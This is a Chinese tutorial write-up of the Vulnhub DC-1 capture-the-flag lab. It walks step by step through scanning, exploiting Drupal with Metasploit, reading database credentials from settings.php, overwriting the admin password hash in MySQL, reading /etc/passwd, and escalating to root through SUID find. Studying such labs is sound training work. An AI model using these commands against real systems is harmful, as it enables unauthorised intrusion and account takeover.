免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
0x00前言
这是网络安全自修室每周带星球小伙伴一起实战的第1台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知! 靶机可从Vulnhub平台免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标!
攻击机:Kali Linux
靶机环境:192.168.241.135
0x01 知识点
Drupal CMS
Find提权
0x02 信息搜集
通过如下命令,使用ARP协议列出网段内存活的机器,进一步判断靶机的真实地址
sudo arp-scan -l
或者使用nmap 对局域内的主机进行存活扫描,也是可以发现目标靶机
nmap -sn 192.168.241.1/24
端口发现
使用masscan对目标靶机进行全端口探测,需要稍等一会
sudo masscan --min-rate=10000 -p- 192.168.241.135
可以发现存在80端口,访问发现为Drupal
的框架
端口扫描
对存活的端口的服务进一步探测
sudo nmap -O -sV -sC 192.168.241.135 -p 22,80,110 -oN result.xml
综上可知,该靶机的操作系统是linux
,仅开放了三个端口,分别为80、22、110在未获取到任何账号密码的情况下,80端口的web服务才是最重要的突破口,且web为显而易见的Drupal 框架,可以尝试使用利用工具进行Getshell
0x03 获取权限
既然知道了CMS为drupal,就打开msf搜索相关的利用模块
选择使用第一个,并设置相关配置
use 1
设置目标后,使用exploit -j 命令进行攻击
可以看到直接获取到了webshell
进入shell进行进一步的信息搜集,发现了第一个flag1.txt
可以发现,有flag1.txt,我们打开看一下
翻译可知,每个好的cms都需要一个配置文件,你也一样。提示我们要找到cms配置文件。
然后进入sites/default目录,打开settings.php数据库配置文件
得到数据库账号和密码:dbuser
R0ck3t
,同时也发现flag2 也赫然在其中显示,并提示我们爆破是行不通的,同时需要进入获取凭证 切换到shell连接mysql,发现不能回显,无法进入交互界面
mysql -udbuser -pR0ck3t
- 反弹bash,获取到一个可以交互的shell
python -c "import pty;pty.spawn('/bin/bash')" # 获取一个交互shell
- 查看网站用户账号密码,发现密码经过加密
select * from users \G;
mysql> select * from users \G; select * from users \G; *************************** 1. row *************************** uid: 0 name: pass: mail: theme: signature: signature_format: NULL created: 0 access: 0 login: 0 status: 0 timezone: NULL language: picture: 0 init: data: NULL *************************** 2. row *************************** uid: 1 name: admin pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR mail: admin@example.com theme: signature: signature_format: NULL created: 1550581826 access: 1550583852 login: 1550582362 status: 1 timezone: Australia/Melbourne language: picture: 0 init: admin@example.com data: b:0; *************************** 3. row *************************** uid: 2 name: Fred pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg mail: fred@example.org theme: signature: signature_format: filtered_html created: 1550581952 access: 1550582225 login: 1550582225 status: 1 timezone: Australia/Melbourne language: picture: 0 init: fred@example.org data: b:0; 3 rows in set (0.00 sec)
根据提示需要进入后台,那直接把admin密码改掉,简单粗暴 直接根据网站本地脚本对设置的密码进行加密
php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456 hash: SDqoimnZKpzNbUFgNiiGexSM.Z29/UXOFtPunnZY0nSHhJBi3RdNP
www-data@DC-1:/var/www$
- 将加密的密码更新到数据库中
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='SDRP9A87VYWMUnTb4Dl7yivYAlibCNONO32cCB3Qc1LT5Alr90rAu' where uid=1;
select * from users \G;
通过robots.txt知道登录地址,通过admin登录成功查看flag3 使用设置好的密码:123456,登陆admin账户,在content页面发现了flag3
提示我们需要去查找密码,可以从shadow上着手 这里提到了shadow这个单词,于是立即想到/etc/passwd,先打开看看再说 查看用户发现flag4用户
cat /etc/passwd
shell输出
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/bin/sh
bin❌2:2:bin:/bin:/bin/sh
sys❌3:3:sys:/dev:/bin/sh
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/bin/sh
man❌6:12:man:/var/cache/man:/bin/sh
lp❌7:7:lp:/var/spool/lpd:/bin/sh
mail❌8:8:mail:/var/mail:/bin/sh
news❌9:9:news:/var/spool/news:/bin/sh
uucp❌10:10:uucp:/var/spool/uucp:/bin/sh
proxy❌13:13:proxy:/bin:/bin/sh
www-data❌33:33:www-data:/var/www:/bin/sh
backup❌34:34:backup:/var/backups:/bin/sh
list❌38:38:Mailing List Manager:/var/list:/bin/sh
irc❌39:39:ircd:/var/run/ircd:/bin/sh
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody❌65534:65534:nobody:/nonexistent:/bin/sh
libuuid❌100:101::/var/lib/libuuid:/bin/sh
Debian-exim❌101:104::/var/spool/exim4:/bin/false
statd❌102:65534::/var/lib/nfs:/bin/false
messagebus❌103:107::/var/run/dbus:/bin/false
sshd❌104:65534::/var/run/sshd:/usr/sbin/nologin
mysql❌105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4❌1001:1001:Flag4,,,:/home/flag4:/bin/bash
直接打开flag4.txt,获取到其中内容
提示我们用相同的方式进入root 目录,可以联系到find
suid提权 先查看下find是否存在suid权限
find / -perm -u=s 2>/dev/null
很明显find是具备条件的,直接获取到root 权限
find / -exec /bin/bash -p ;
打开root目录下的最后一个flag,至此整个靶机完成通关!
0x04 总结
- drupal是较为常见的CMS,有众多利用工具,熟练掌握msf,将Getshell的过程可以大大简化
- shell交互上可以使用python的pty模块快速获取一个交互性强壮的shell便于连接数据库查看回显
- 读懂提示可以少走很多弯路
- find的提权注意加
-p
进入交互模式才能拿到bash